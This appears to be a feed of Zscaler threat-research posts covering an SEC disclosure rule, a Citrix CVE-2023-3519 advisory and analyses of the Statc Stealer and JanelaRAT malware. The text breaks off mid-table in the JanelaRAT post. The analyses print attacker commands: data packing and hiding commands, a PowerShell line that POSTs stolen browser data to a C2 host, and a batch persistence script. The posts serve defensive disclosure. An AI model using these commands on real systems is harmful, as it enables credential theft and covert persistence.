d811a57bc0e8b86b449277f9ffb50cc9 Agniane Stealer b62ef0920a545f547d6cd3cd2abd60d2 Agniane Stealer Central-cee-doja.ru Host Name Crypto Extensions & Wallets Tronlink Extension Browser Extensions Nifty Wallet Extension Metamask Wallet Extension Math Wallet Extension Coinbase Extension BinanceChain Extension Brave Wallet Extension Guarda Wallet Extension Equal Wallet Extension BitApp Wallet Extension iWallet Extension Wombat Extension Authenticator Extension EOS Authenticator Extension BrowserPass Extension MYKI Extension Splikity Extension CommonKey Extension Zoho Vault Extension Norton Password Manager Extension Avira Password Manager Extension Trezor Password Manager Extension MEW CX Extension Coin98 Extension NeoLine Extension Terra Station Extension Keplr Extension Sollet Extension ICONex Extension KHC Extension TezBox Extension Byone Extension OneKey Extension Trust Wallet Extension MetaWallet Extension Exodus Extension Jaxx Liberty Extension Atomic Wallet Extension Electrum Extension Mycelium Extension Coinomi Extension GreenAddress Extension Edge Extension BRD Extension Samourai Wallet Extension Copay Extension Bread Extension Airbitz Extension KeepKey Extension Trezor Extension Ledger Live Extension Ledger Wallet Extension Bitbox Extension Digital Bitbox Extension YubiKey Extension Google Authenticator Extension Microsoft Authenticator Extension Authy Extension Duo Mobile Extension OTP Auth Extension FreeOTP Extension Aegis Authenticator Extension LastPass Authenticator Extension Dashlane Extension Keeper Extension RoboForm Extension KeePass Extension KeePassXC Extension Bitwarden Extension NordPass Extension LastPass Extension Zcash Client Armory Client Bytecoin Client Jaxx Client Exodus Client Ethereum Client Electrum Client AtomicWallet Client Guarda Client Coinomi Client References *1 = Agniane Stealer was first discovered by @MalGamy12 Tue, 22 Aug 2023 17:20:04 -0700 Mallikarjun Piddannavar https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-web-s-crypto-threat The Impact of the SEC’s New Cybersecurity Policies https://www.zscaler.com/blogs/security-research/impact-sec-s-new-cybersecurity-policies Introduction The rapid advancement of technology has led to an increasing number of cybersecurity incidents that pose significant risks to organizations, their stakeholders, and the general public. Recognizing the importance of transparent and timely reporting of such incidents, the U.S. Securities and Exchange Commission (SEC) announced on July 26, 2023, that it has adopted final rules regarding cybersecurity disclosure requirements for public companies. These rules mandate the disclosure of material cybersecurity incidents and information related to cybersecurity risk management, strategy, and governance. This technical blog post delves into the key aspects of these newly adopted rules and their implications for public companies. We cover: Key Takeaways Form 8-K: Incident Reporting Limited Delay in Reporting Updated Incident Disclosures Aggregation of Incidents Form 10-K: Cybersecurity Risk Management, Strategy, and Governance Structured Data Requirements Effective Date and Compliance Timing Conclusion Key Takeaways Timely incident reporting: New Item 1.05 of Form 8-K requires reporting of material cybersecurity incidents within four business days, promoting swift transparency. Failure to timely file will not impact Form S-3 eligibility. Limited reporting delay for security: Possible delay in disclosure for national security risks with U.S. Attorney General’s approval, up to 120 days with SEC consent. Comprehensive incident disclosures: Incomplete Form 8-K data requires acknowledgment and later amendment filing, reducing redundancy. Broadened incident definition: Final rules broaden “cybersecurity incident” to include related unauthorized events, for a more holistic view. Annual risk reporting (Form 10-K): Beginning with annual reports for fiscal years ending on or after December 15, 2023, Regulation S-K Item 106 mandates yearly reporting on cybersecurity risk, strategy, governance, board oversight - without mandatory disclosure of board members’ expertise. Foreign Private Issuers: The rules require comparable disclosures by foreign private issuers on Form 6-K for material cybersecurity incidents and on Form 20-F for cybersecurity risk management, strategy, and governance. Compliance timing: Effective 30 days post Federal Register publication. Timelines will vary according to the size of a company. Form 8-K: Incident Reporting The finalized rules introduce a crucial change in the disclosure process through the addition of Item 1.05 to Form 8-K. This new requirement necessitates the reporting of material cybersecurity incidents within four business days from the company’s determination that the incident is material (not the date of discovery of the incident). Although the scope of disclosure in Item 1.05 has been refined, some notable deviations from the proposed rules are evident. Limited Delay in Reporting In cases where the disclosure of cybersecurity incidents could potentially jeopardize national security or public safety, a delay in reporting is permissible. However, this delay is subject to the U.S. Attorney General’s determination and cannot extend beyond a specified period, generally capped at 120 days. Such extensions require the SEC’s approval through an exemptive order. Updated Incident Disclosures When the required information for the Item 1.05 Form 8-K disclosure is not yet ascertainable or unavailable at the time of filing, the company must acknowledge this fact in the Form 8-K and subsequently file an amendment within four business days after obtaining the missing information. Notably, subsequent periodic filings will not necessitate updates based on this information. Aggregation of Incidents The concept of aggregating cybersecurity incidents is a noteworthy change from the proposed rules. While the requirement to disclose individually immaterial incidents has been omitted, the final rules encompass a broader definition of a cybersecurity incident. According to the SEC Cybersecurity Risk Management, Strategy, Governance, and Incident Disclosure, this definition encompasses “a series of related unauthorized occurrences,” enabling a more comprehensive overview of the incident-related disclosures. Form 10-K: Cybersecurity Risk Management, Strategy, and Governance Building upon the proposed rules, the finalized rules introduce a new Item 106 to Regulation S-K. This mandates an annual reporting of specific cybersecurity aspects, including risk management, strategy, governance, and the board’s oversight of cybersecurity risks. However, a departure from the initial proposal is that the final rules do not require the disclosure of board members’ cybersecurity expertise. Effective Date and Compliance Timing Compliance timelines vary based on the type of disclosure and the size of the reporting company: Companies, excluding smaller reporting companies, must comply with Item 1.05 of Form 8-K within 90 days of the adopting release’s publication or by December 18, 2023, whichever is later. Smaller reporting companies are granted 270 days from the adopting release’s publication, or until June 24, 2024, to comply with Item 1.05 of Form 8-K. For Item 106 of Regulation S-K, all companies must commence compliance with their annual reports for fiscal years ending on or after December 15, 2023. Structured data requirements apply to all companies one year after the initial compliance date for the corresponding disclosure. Conclusion The SEC’s new cybersecurity rules mark a significant milestone in enhancing transparency and accountability in the face of growing cybersecurity threats. These rules mandate the timely reporting of material incidents and the provision of comprehensive information about cybersecurity risk management, strategy, and governance. As companies prepare to comply with these regulations, the landscape of cybersecurity disclosure in the corporate world will undergo transformative changes by promoting informed stakeholders and robust risk management practices Fri, 18 Aug 2023 10:15:12 -0700 Deepen Desai https://www.zscaler.com/blogs/security-research/impact-sec-s-new-cybersecurity-policies Security Advisory: Remote Code Execution Vulnerability (CVE-2023-3519) https://www.zscaler.com/blogs/security-research/security-advisory-remote-code-execution-vulnerability-cve-2023-3519 Introduction On 18 July 2023, Citrix published a security advisory that addressed a critical vulnerability with CVSS score 9.8 for CVE-2023-3519 for RCE (Remote Code Execution) in NetScaler ADC (formerly known as Citrix ADC) and NetScaler Gateway (formerly known as Citrix Gateway). This vulnerability created a lot of buzz in the last several days. Many reports claim that the vulnerability was being exploited as a zero-day attack in the wild as threat actors were dropping a web shell onto organization's critical infrastructure. The advisory from Citrix also includes additional vulnerabilities affecting NetScaler users. CVE-2023-3466 - A reflected Cross-Site Scripting (XSS) vulnerability which requires the victim to access an attacker-controlled link in the browser while being on a network with connectivity to the NSIP. NetScaler IP (NSIP) address is the IP address where you access the NetScaler for management purposes. CVE-2023-3467 - A Privilege Escalation vulnerability that requires authenticated access to NSIP or SNIP with management interface access. A subnet IP address (SNIP) is a NetScaler owned IP address that is used by NetScaler to communicate with the servers. Key Takeaways New Vulnerability Discovered: A new vulnerability, CVE-2023-3519, has been discovered that impacts NetScaler ADC NetScaler Gateway applications. Upgrade Your Application: If you see your ADC or Gateway version below, Zscaler strongly urges you to upgrade to a safe version. NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13 NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13 NetScaler ADC 13.1-FIPS before 13.1-37.159 NetScaler ADC 12.1-FIPS before 12.1-55.297 NetScaler ADC 12.1-NDcPP before 12.1-55.297 Possible Execution/PoC CVE-2023-3519 could allow an unauthenticated threat actor to trigger a stack buffer overflow in the NetScaler Packet Processing Engine (nsppe) process by sending a specially crafted HTTP GET request. Since the nsppe runs as root, successful exploitation would likely result in arbitrary code execution as the ‘root’. This is an example of the HTTP request with GET method: Figure 1: Example Packet Capture with shell code A proof-of-concept (PoC) for CVE-2023-3519 in Citrix ADC can be found on GitHub. Attack Chain A threat actor can exploit CVE-2023-3519 by uploading files containing malicious web shells and scripts, allowing them to scan networks and extract sensitive information. A server's configuration files contain encrypted passwords that can be viewed and decrypted by decryption keys that are available on the same server. Thus, making configuration files an obvious target for threat actors. By decrypting Active Directory credentials, a threat actor can retrieve a wide range of information, including: details about users computers groups subnets organizational units Figure 2: Attack chain of Citrix Gateway CVE-2023-3519 unauthenticated remote code execution 1. Initial Access - According to CISA, a threat actor can upload a TGZ File (a compressed archive created using GZIP) containing a generic web shell, discovery script, and setuid binary file on the Citrix's NetScaler Application Delivery Controller (ADC) application. Through the web shell, the threat actor can execute remote commands on the compromised system, establishing a reliable command and control channel. 2. Privilege Escalation - The uploaded TGZ file consists of a setuid binary file which is used by threat actors to exploit Elevation Control Mechanism and gain elevated permissions on a system. 3. Credential Access - A threat actor uses the NetScaler configuration files, located in /flash/nsconfig/keys/updated/* and /nsconfig/ns.conf, to find an encrypted password that can be decrypted by the key stored on the ADC application. Using these keys, the Active Directory credentials are decrypted from the configuration file. 4. Discovery - The threat actor uses the newly acquired, decrypted credentials to query the Active Directory for trusted domains, organization units (OU), computers, users, etc. within the network that can be exploited to move laterally or escalate privileges. 5. Collection - The threat actor uses the 'tarball' command to compress the collected data and uses 'openssl' to encrypt the data. The following command is used by the threat actor to collect the compromised data from the infected system: tar -czvf - /var/tmp/all.txt | openssl des3 -salt -k <> -out /var/tmp/test.tar.gz 6. Defense Evasion - Exfiltrated, collected data can be uploaded as an image file to a web accessible path to bypass detection engines using this command: cp /var/tmp/test.tar.gz /netscaler/ns_gui/vpn/medialogininit.png. As per public reports, a segmented environment where ADC applications were deployed prevented the threat actors from discovering critical infrastructure. The threat actors attempted to: Execute a subnet-wide curl command to identify what was accessible from within the network as well as potential lateral movement targets. Verify outbound network connectivity with a ping command (ping -c 1 google.com). Execute host commands for a subnet-wide DNS lookup. Like the reports state, the threat actors also attempted to delete their artifacts. They deleted the authorization configuration file (/etc/auth.conf) to prevent configured users (e.g., admin) from logging in remotely (e.g., CLI). Normally, an organization would need to reboot into single user mode (which may have deleted artifacts from the device) to regain access to the ADC application. However, in this case, the victim used an a readily available SSH key to gain access into the appliance without rebooting. The threat actor’s post-exploitation lateral movement attempts were also blocked by network-segmentation controls. The threat actors implanted a second web shell on the victim that they later removed. This was likely a PHP shell with proxying capability. The threat actors likely used this to attempt proxying SMB traffic to the DC (the victim observed SMB connections where the actors attempted to use the previously decrypted AD credential to authenticate with the DC from the ADC via a virtual machine). Firewall and account restrictions (only certain internal accounts could authenticate to the DC) blocked this activity. Figure 3: Metasploit releases the exploit for CVE-2023-3519 Affected products The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities: NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13 NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13 NetScaler ADC 13.1-FIPS before 13.1-37.159 NetScaler ADC 12.1-FIPS before 12.1-55.297 NetScaler ADC 12.1-NDcPP before 12.1-55.297 Mitigations Zscaler has observed exploits of CVE-2023-3519 on unmitigated applications. Zscaler strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible. NetScaler ADC and NetScaler Gateway 13.1-49.13 and later releases NetScaler ADC and NetScaler Gateway 13.0-91.13  and later releases of 13.0  NetScaler ADC 13.1-FIPS 13.1-37.159 and later releases of 13.1-FIPS  NetScaler ADC 12.1-FIPS 12.1-55.297 and later releases of 12.1-FIPS  NetScaler ADC 12.1-NDcPP 12.1-55.297 and later releases of 12.1-NDcPP Zscaler Coverage Zscaler’s ThreatLabZ team has deployed protection. Zscaler Advanced Threat Protection: App.Exploit.CVE-2023-3519 Zscaler Private Access Protection: Remote Code Execution : 932100 (Remote Command Execution: Unix Command Injection basic coverage) Remote Code Execution : 932200 (RCE Bypass Technique) PHP Injection : 933100 (PHP Injection Attack: PHP Open Tag Found) We will update this article as information becomes available or if additional protection is put in place by Zscaler. Resources Citrix ADC and Citrix Gateway Security Bulletin for CVE-2023-3519, CVE-2023-3466, CVE-2023-346 Threat Actors Exploiting Citrix CVE-2023-3519 to Implant Webshells | CISA GitHub - BishopFox/CVE-2023-3519: RCE exploit for CVE-2023-3519 Hundreds of Citrix NetScaler ADC and Gateway Servers Hacked in Major Cyber Attack (thehackernews.com) https://nvd.nist.gov/vuln/detail/CVE-2023-3519 https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/ Tue, 08 Aug 2023 19:59:10 -0700 Vishal Sangolekar https://www.zscaler.com/blogs/security-research/security-advisory-remote-code-execution-vulnerability-cve-2023-3519 Statc Stealer: Decoding the Elusive Malware Threat https://www.zscaler.com/blogs/security-research/statc-stealer-decoding-elusive-malware-threat Introduction Recently, while tracking global threat activity, the Zscaler ThreatLabz team discovered a new information stealer family called: Statc Stealer. Statc Stealer is a sophisticated malware that infects devices powered by Windows, gains access to computer systems, and steals sensitive information. In this comprehensive technical blog post, we unravel the intricate workings of Statc Stealer. By understanding its distribution methods and evasion techniques, we aim to equip you with the knowledge to secure your data against Statc Stealer. We’ll cover the following: Key Takeaways Description Potential for harm Technical details Attack Chain Technical Analysis Evasion using anti-analysis technique Theft and exfiltration of data Transfer and storage of stolen data Other unusual activity Zscaler Coverage Zscaler sandbox coverage MITRE ATT&CK mapping Conclusion Indicators of Compromise (IOCs) Key Takeaways Stealing Capabilities: Statc Stealer exhibits a broad range of stealing capabilities, making it a significant threat. It can steal sensitive information from various web browsers, including login data, cookies, web data, and preferences. Additionally, it targets cryptocurrency wallets, credentials, passwords, and even data from messaging apps like Telegram. Code and Evasion: The stealer utilizes C++ code, a common programming language for malware development. The stealer performs filename discrepancy checks to inhibit sandbox detection and reverse engineering analysis by researchers. Architecture and Ideal Target: Statc Stealer targets Windows operating systems and predominantly focuses on browsers used on Windows devices for stealing sensitive information. Encryption for Stealth: The malware leverages HTTPS encryption to hide its activities. Statc Stealer uses HTTPS protocol to send stolen, encrypted data to the command-and-control (C&C) server. Description Potential for harm The Zscaler ThreatLabz team recently discovered Statc Stealer. This malicious software gains access to a victim’s data by appearing like an authentic Google advertisement. Once the victim clicks on the advertisement, their operating system is infected with malicious code that steals sensitive data like credentials from web browsers, credit card information, and cryptocurrency wallet details. Unauthorized access to a victim’s computer system can have enormous personal and professional repercussions. Victims become easy targets for identity theft, cryptojacking, and other forms of malware attacks. At the enterprise level, a Statc Stealer breach can result in financial loss, reputational damage, legal liabilities, and regulatory penalties. Technical details Statc Stealer gets started with an initial dropper. The initial dropper drops a decoy PDF installer and a downloader binary file. Then, the downloader binary file further downloads Statc Stealer using a PowerShell script. At a glance, both of these malicious files appear like legitimate software. However, once Statc Stealer is able to infect the victim’s device, it begins to steal data, encrypt it, and send it to its command-and-control (C&C) server. In addition, Statc Stealer utilizes evasion techniques to thwart attempts at reverse engineering the malware, making it harder to detect. Attack Chain Statc Stealer follows an attack chain that leverages malvertising to disseminate malicious files. The attack chain begins with an innocuous-looking advertisement within the victim's Google Chrome browser. Clicking on the malicious link results in downloading the Statc Stealer’s initial sample file, kicking off the malware infection. The attack chain operates as follows: A user is tricked into clicking on a malicious link somewhere on their Google Chrome browser (typically an advertisement). The user inadvertently downloads the Initial Sample file. After the malicious file executes, the Initial Sample drops and executes a Decoy PDF Installer. To facilitate the download of the Statc payload through a PowerShell script, the Initial Sample file also drops and executes a Downloader Binary file. Once Statc Stealer steals the user’s data, it encrypts the data, puts it in a text file, and stores it in the Temp folder. From here, Statc Stealer calls on its C&C server to deliver the stolen encrypted data. Figure 1: Statc Stealer attack chain Initial Sample URL The URL below is malicious and shows where the initial sample is downloaded. 95[.]217[.]5[.]87[/]Setup64_new0[/]Version2023-new[.]exe Payload URL The URL below is malicious and shows the domain from where the Statc payload is downloaded. check[.]topgearmemory[.]com In the screenshot below, the address bar contains the malicious URL. You can see how the Statc Stealer payload imitates an MP4 file format. The use of MP4 format to disguise malicious behavior lends Statc Stealer an innocent appearance, making it harder for traditional security measures to detect its true intent. Figure 2: Malicious URL used to download Statc Stealer payload Technical Analysis Evasion using anti-analysis techniques Typically, info stealers like Statc Stealer employ sophisticated techniques to avoid detection and persist on the victim’s machine. We found one anti-analysis technique while analyzing Statc Stealer: The sample looks for its original file name Checks whether its file name is the same as its internal name Stops executing if it finds differences Essentially, if Statc Stealer discovers that you’ve changed or updated its malicious files, then it stops in its tracks. The code example in the image below shows how: The sample used a FileName check The sample compares the file name with a hardcoded encrypted string Figure 3: File name comparison code Theft and exfiltration of data Stealing activity Statc Stealer has a general information stealing capability. It’s able to take sensitive information from various browsers and wallets, and then store the data in a text file inside a Temp folder. Using the python script we mentioned above, we decrypted Statc Stealer’s encrypted strings. The image below shows various references to “wallets'' and “crypto”, indicating that sensitive cryptocurrency information has been compromised. Figure 4: Decrypted strings using python script Encrypted strings Figure 5: Encrypted strings Decrypted strings Figure 6: Decrypted strings Browser exfiltration Browser exfiltration is the unauthorized transfer of any data from a browser. It can involve social engineering, phishing attacks and emails, and even uploading data to an insecure hard drive. However, Statc Stealer uses its malicious software to drop and execute malicious files. Let’s explore how this works. How it works Statc Stealer employs a straightforward and easily detectable technique to steal browser data. It leverages the Invoke-WebRequest Uniform Resource Identifier (URI) in PowerShell to initiate a process, using the following arguments: Invoke-WebRequest -Uri https[:]//topgearmemory[.]com/kdsfedafa/stat?c= -Method POST -InFile C:\Users\\AppData\Local\Temp\\41075.txt -UseDefaultCredentials -UseBasicParsing ; Remove-Item C:\Users\\AppData\Local\Temp\\41075.txt The significance of Statc Stealer's exfiltration technique lies in its potential to steal sensitive browser data and send it securely to its C&C server. This allows the malware to harvest valuable information, such as login credentials and personal details, for malicious purposes like identity theft and financial fraud. Despite its simplicity, the technique aids security experts in detecting and analyzing the malware's behavior, enabling the development of effective countermeasures. Targeted browsers The Statc Stealer malware can exfiltrate data from the following browsers: Chrome Microsoft Edge Brave Opera Yandex Mozilla Firefox It comes as no surprise that Statc Stealer, with its PE structure, strategically targets the most popular Windows browsers, By capitalizing on their widespread usage, this info stealer can cast a wider net, seeking to compromise sensitive data from a larger pool of unsuspecting users. Stealing autofill data Statc Stealer is also capable of exfiltrating autofill data. If a stealer takes autofill data, login credentials, Personally Identifiable Information (PII) and payment information is at risk: Usernames and passwords Email Credit card details Personal addresses Payment information Stolen data Figure 7: Stolen data in decrypted form Data in encrypted form Figure 8: Stolen data after encryption In the images above, the Statc Stealer is exfiltrating browsers’ autofill information. From here, the malware will encrypt the stolen data and store it in a text file in the Temp folder. Process Monitor (ProcMon) Process Monitor (ProcMon) is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It can help provide a snapshot into the types of sensitive information Statc Stealer is capable of stealing. Using ProcMon, we observed that Statc Stealer steals: user’s cookies data web data local state data preferences login data various different wallets information FileZilla browsers autofills anydesk ronin_edge meta mask Telegram data We captured this malicious activity in ProcMon in the image below. Figure 9: Browser related data shown in ProcMon Wallet data The Statc Stealer can exfiltrate data from various wallets, like: Cryptocom-Wallet Petra-aptos-wallet exodus-web3-wallet bitkeep-crypto-nft-wallet liquality-wallet ethos-sui-wallet suite-sui-wallet tallsman-polkadot-wallet Enkrypt-ethereum-polkadot leap-cosmos-wallet pontem-aptos-wallet fewcha-move-wallet rise-aptos-wallet teleport-wallet martin-wallet-aptos-sui avana-wallet-solana-wallet glow-solana-wallet-beta solflare-wallet Transfer and storage of stolen data In the case of Statc Stealer, cybercriminals are using a command-and-control (C&C) server network to move and store stolen data. A C&C server is a system controlled by the cybercriminals who distribute stealer malware to take sensitive data. The C&C server acts as their secure storage compartment where they send and store encrypted data for later use. The image below shows how Statc Stealer saves stolen data into text files and stores them in the Temp folder. Figure 10: Stolen data in Temp folder The image below shows how Statc Stealer tries to send the data (after it’s been encrypted) to its C&C server. Figure 11: Stolen data, in encrypted format, sent to C2 Other unusual activity Some malware may attempt to leverage less commonly monitored or analyzed registry locations to evade detection by security software. By choosing a relatively obscure location like this one, cybercriminals may hope to bypass certain detection mechanisms or security controls. Figure 12: Sample checking its presence in Shell Compatibility in Registries Conclusion In conclusion, the emergence of the new info stealer, Statc Stealer, highlights the relentless evolution of malicious software in the digital realm. Based on the observations made during analysis, we feel confident in saying that Statc Stealer: falls under the category of “info stealer” in malware types targets users of Window's operating systems is sophisticated and can perform various malicious activities if its able to gain access to your personal computer (Windows) targets sensitive information from web browsers and cryptocurrency wallets Cybercriminals and their expanding list of malware types is becoming more complex by the minute. The discovery of Statc Stealer demonstrates the importance of staying alert, ongoing research, and monitoring. This in itself is a form of malware protection. However, we also recommend security teams inspect all traffic and leverage malware prevention engine like Zscaler Cloud Intrusion Prevention Systems (IPS) for known threats and sandboxing technology for unknown threats. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Coverage Zscaler sandbox coverage Zscaler's multilayered cloud security platform detects indicators at various levels. During the investigation of this campaign, Zscaler Sandbox played a crucial role in analyzing the behavior of various files. Through this sandbox analysis, the threat scores and specific MITRE ATT&CK techniques triggered were identified, as illustrated in the screenshot provided below. This comprehensive approach empowers cybersecurity professionals with critical insights into the malware's behavior, enabling them to effectively detect and counter the threats posed by Statc Stealer. To learn more about coverage, visit the Zscaler Sandbox webpage or Win64.PWS.StatcSteale the Threat Library, where we list all threats and threat information. Figure 13: Zscaler sandbox coverage MITRE ATT&CK mapping MITRE ATT&CK mapping table ID Name T1547 Boot or Logon Autostart Execution T1217 Browser Information Discovery T1059 Command and Scripting Interpreter T1555 Credentials from Password Stores T1132 Data Encoding T1005 Data from Local System T1001 Data Obfuscation T1189 Drive-by Compromise Indicators of Compromise (IOCs) MD5 hash table MD5 HASH DESCRIPTION f77dc89afbaab53e5f63626e122db61e Dropper 3834ec03aee0860dfd781805cac3e649 Downloader 65affc4e1d5242a9c3825ce51562d596 Statc Stealer (source VT) e002c90a035495631a0abf202720a79c Statc Stealer (source VT) f49348fa15d87e92896363b40267c9ae Statc Stealer (source VT) Domain and IP details table DOMAIN/IP URL DESCRIPTION 95[.]217[.]5[.]87 95[.]217[.]5[.]87[/]Setup64_new0[/]Version2023-new[.]exe MALICIOUS URL check[.]topgearmemory[.]com check[.]topgearmemory[.]com/dw/9c890e1b2b4f2723a68fc905268ee010cae232be[.]txt MALICIOUS URL check[.]topgearmemory[.]com https[:]//topgearmemory[.]com/kdsfedafa/stat?c= BOTNET File names Version2023-new.exe chtgpt_x64.exe SearchApplication.exe sound_adapter.exe Tue, 08 Aug 2023 11:59:42 -0700 Shivam Sharma https://www.zscaler.com/blogs/security-research/statc-stealer-decoding-elusive-malware-threat JanelaRAT: Repurposed BX Rat Variant Targeting LATAM FinTech https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech Introduction In June of 2023, our research team at Zscaler ThreatLabz discovered a threat actor targeting FinTech users in the LATAM region. JanelaRAT involves several tactics, techniques, and procedures (TTPs) such as DLL side-loading, dynamic C2 infrastructure, and a multi-stage attack. The final malware involved in this campaign is a heavily modified variant of BX RAT. Because of this, we named the malware: JanelaRAT. This technical blog covers: Key Takeaways Attack Chain Technical Analysis Self-Defense Mechanisms Network and Communication Capabilities Relationship with BX RAT Our Findings on JanelaRAT Conclusion Zscaler Coverage Indicators of Compromise (IOCs) Appendix - Python Scripts to Help You Approach JanelaRAT Key Takeaways Financial Data in LATAM: As of June 2023, JanelaRAT mainly targets financial and cryptocurrency data from LATAM bank and financial institutions. New, Nefarious Capabilities: JanelaRAT features a windows titles sensibility mechanism that allows the malware to capture window title data and send it to the threat attackers. Strategic and Exploitative Behavior: JanelaRAT employs a dynamic socket configuration system. The C2 infrastructure used by the threat attackers heavily abuses dynamic DNS services. Each domain is set up in the infrastructure to be active only on a certain day of the month. Evasive Maneuvers: JanelaRAT abuses DLL side-loading techniques from legitimate sources (like VMWare and Microsoft) to evade endpoint detection. Origin of Threat Actor: The developer of JanelaRAT is Portuguese-speaking. There is heavy use of Portuguese in the malware strings, metadata, decrypted strings, etc. Attack Chain This campaign involves a multi-stage infection chain with a moderate complexity level. The attack chain is kick started by a VBScript sent inside ZIP archives. (At the time of writing this blog, we do not know exactly how these ZIP archives were distributed to the users.) The VBScript performs two key actions: It fetches a ZIP archive from the attackers' server It drops a BAT file on the endpoint to prepare the system for the next stage of infection The ZIP archive contains two components which are responsible for carrying out the rest of the infection chain and accomplish DLL side-loading. The image below is a high-level view of the campaign’s attack chain. Figure 1: End-to-end attack chain of the campaign used to distribute JanelaRAT Technical Analysis Scripts VBScript Analysis For the purposes of technical analysis, we used this VBScript with MD5 hash: 24c6bff8ebfd532f91ebe06dc13637cb The code obfuscation in the VBScript is very primitive. After decoding all the strings in the VBScript, its purpose became evident to our team. The main operations performed by the VBScript are as follows: Drops a BAT file in the path: C:\Users\Public\ with a randomly generated 7-character alphanumeric name. Downloads content from the URL: hxxp://zimbawhite.is-certified[.]com:3001/clientes/6 and parses it to extract a base64-encoded ZIP archive. Base64 decodes the content and saves the ZIP archive with a randomly generated 8-character alphanumeric file name. Executes the BAT file. Sleeps for 5 seconds and restarts the victim's machine. We observed that the URL used to download the base64-encoded ZIP archive was actually hosting 44 different variants of the archives, all stored base64-encoded. Since the URL was active at the time of our analysis, we were able to download all 44 variants of the ZIP archives. A Python script is included in the Appendix section of this blog to help you automate this process. The image below shows the web response when the URL is accessed directly without specifying the index. The response contains all 44 ZIP archives base64-encoded. Figure 2: Base64-encoded ZIP archives received in web response from attacker's server All these ZIP archives include components with different file hashes but similar functionality. This indicates that the main purpose of this method is evasion of file hash-based detection. Batch Script Analysis Batch script persistently triggers the JanelaRAT execution (via DLL side-loading) @echo off timeout /t 2 /nobreak >nul xcopy /q C:\Users\Public\Q3xk0o\VCRUNTIME140.dll C:\Users\willi\AppData\Roaming timeout /t 2 /nobreak >nul xcopy /q C:\Users\Public\Q3xk0o\opdrde.exe C:\Users\willi\AppData\Roaming timeout /t 2 /nobreak >nul timeout /t 2 /nobreak >nul ren C:\Users\willi\AppData\Roaming\opdrde.exe IWf2u49.exe timeout /t 2 /nobreak >nul reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeAutoLaunch_ /d C:\Users\willi\AppData\Roaming\IWf2u49.exe /f set "pasta=C:\Users\Public\Q3xk0o" rmdir /s /q "%pasta%" The purpose of the batch script is to set up a persistent mechanism so the JanelaRat sample is automatically launched at each system reboot. This is achieved by: Setting up a so-called RunKey. This allows a particular registry key hosting the path to a file and granting that file execution at reboot time. The batch script set the RunKey to the legitimate executable included in the second compressed archive. The execution of that file will cause the loading and execution of the JanelaRAT DLL. The key name (MicrosoftEdgeAutoLaunch_) was chosen so it can appear innocuous, like the legitimate RunKey for the Microsoft Edge browser. DLL side-loading JanelaRAT comes in the form of a DLL side-loaded by a legitimate executable. Depending on the legitimate executable employed in the attack, the DLL may have different names. We discovered these two: VCRUNTIME140.dll: side-loaded by vmnat.exe msedge_elf.dll: side-loaded by identity_helper.exe The legitimate executable, which is included in the compressed archive with JanelaRat, is usually renamed. In the table below, you can see metadata information of the JanelaRAT sample we used for technical analysis in this section Metadata information of the analyzed JanelaRAT instance Name VCRUNTIME140.dll MD5 c18edb805748b4bd5013ccb47f061c2a SHA1 37df375be813d91e11795a75872479c1a656e951 SHA256 0c873439bc0af08fdf0c335c5a94752413fd096c0c2f1138f17e786bc5ce59c3 The DLL was developed in C# for Microsoft .NET 4.0 and the source code is protected by Eazobfuscator - a commercial code obfuscator for .NET assemblies. The image below shows the assembly metadata containing clear-text strings in Portuguese, supporting our hypothesis about the threat attacker's intention to make JanelaRAT seem like a real cybersecurity tool. For instance: "Firewall de Rede" means network firewall "Plataforma de Segurança Mulitcanal" means multichannel security platform "Ferramenta de Segurança Inteligente" means smart security tool "Análise de Segurança de Banco de Dados" means database security analysis At a glance, these seemingly legitimate security strings can make JanelaRAT appear like a real cybersecurity tool. Figure 3: JanelaRAT impersonating as a cybersecurity tool using well-crafted metadata Self-Defense Mechanisms String encryption Most of the JanelaRAT strings are encrypted and stored in a dedicated class as a form of anti-analysis. Each field of this class contains either an encrypted string or an array of encrypted strings. The string decryption algorithm can be broken down in the following steps: The encrypted string is decoded using base64. Once decoded, the string is decrypted. The decryption algorithm is Rijndael AES in Cipher Block Chaining (CBC) mode. The decryption key is always the same for all the strings and, to the best of our knowledge, it is the same across the samples: the MD5 of the string 8521. The Initialization Vector (IV) varies for each string, being set to the first 16 bytes of the string decoded in the point above. The decryption is only applied to the remaining bytes. We provide a Python implementation of this algorithm in the Appendix section of this blog. Idle if inactive JanelaRAT utilizes a basic self-protection mechanism to mitigate the risk of being detected. Every 5 seconds the malware checks the time elapsed from the system start to the last input event that occurred on the infected system. If this time span exceeds 10 minutes then the malware transitions into an idle state. While in the idle state, JanelaRAT stays silent by not exposing any unnecessarily risky behavior that might arouse suspicion. The image below shows the method used to perform the inactivity check. The method call is a wrapper around the GetLastInputInfo native API, responsible for instantiating a LASTINPUTINFO data structure. The dwTime field of such a structure contains the milliseconds elapsed since the last input event. The method returns true if the amount of time passed from the system start (Environment.TickCount), to the last input received (dwTime), exceeds 10 minutes. Figure 4: JanelaRAT checks if the infected system has been inactive (no input events) for more than 10 minutes In the image below, you can see that: if the check returns true, the malware sets its internal state to "Idle" if the check returns false, the malware sets its internal state to "Active" The state transition, regardless if true or false, is communicated to the threat attacker through the C2. You can see this in action in the image below. Figure 5: JanelaRAT communicating state transition to threat actors using C2 Network and Communication C2 check-in Once it gets started, JanelaRAT makes a request to register the newly-infected host to the threat attacker’s network. The C2 domain is always the same: cnt-blackrock.geekgalaxy[.]com The HTTP verb is GET The User-Agent is hardcoded and rather peculiar: VisaoAPP The image below shows that the GET request consists of four parameters. Figure 4: JanelaRAT checks-in to the attacker's network of compromised hosts JanelaRAT's request parameters to join attacker's network Parameter Description op Quadruple (OS major, OS minor, OS architecture code, OS integer pointers size). The quadruple is provided as a pipe-separated (“|”) string. Example: 0|4|2|32 us Role of the user logged in at the time of 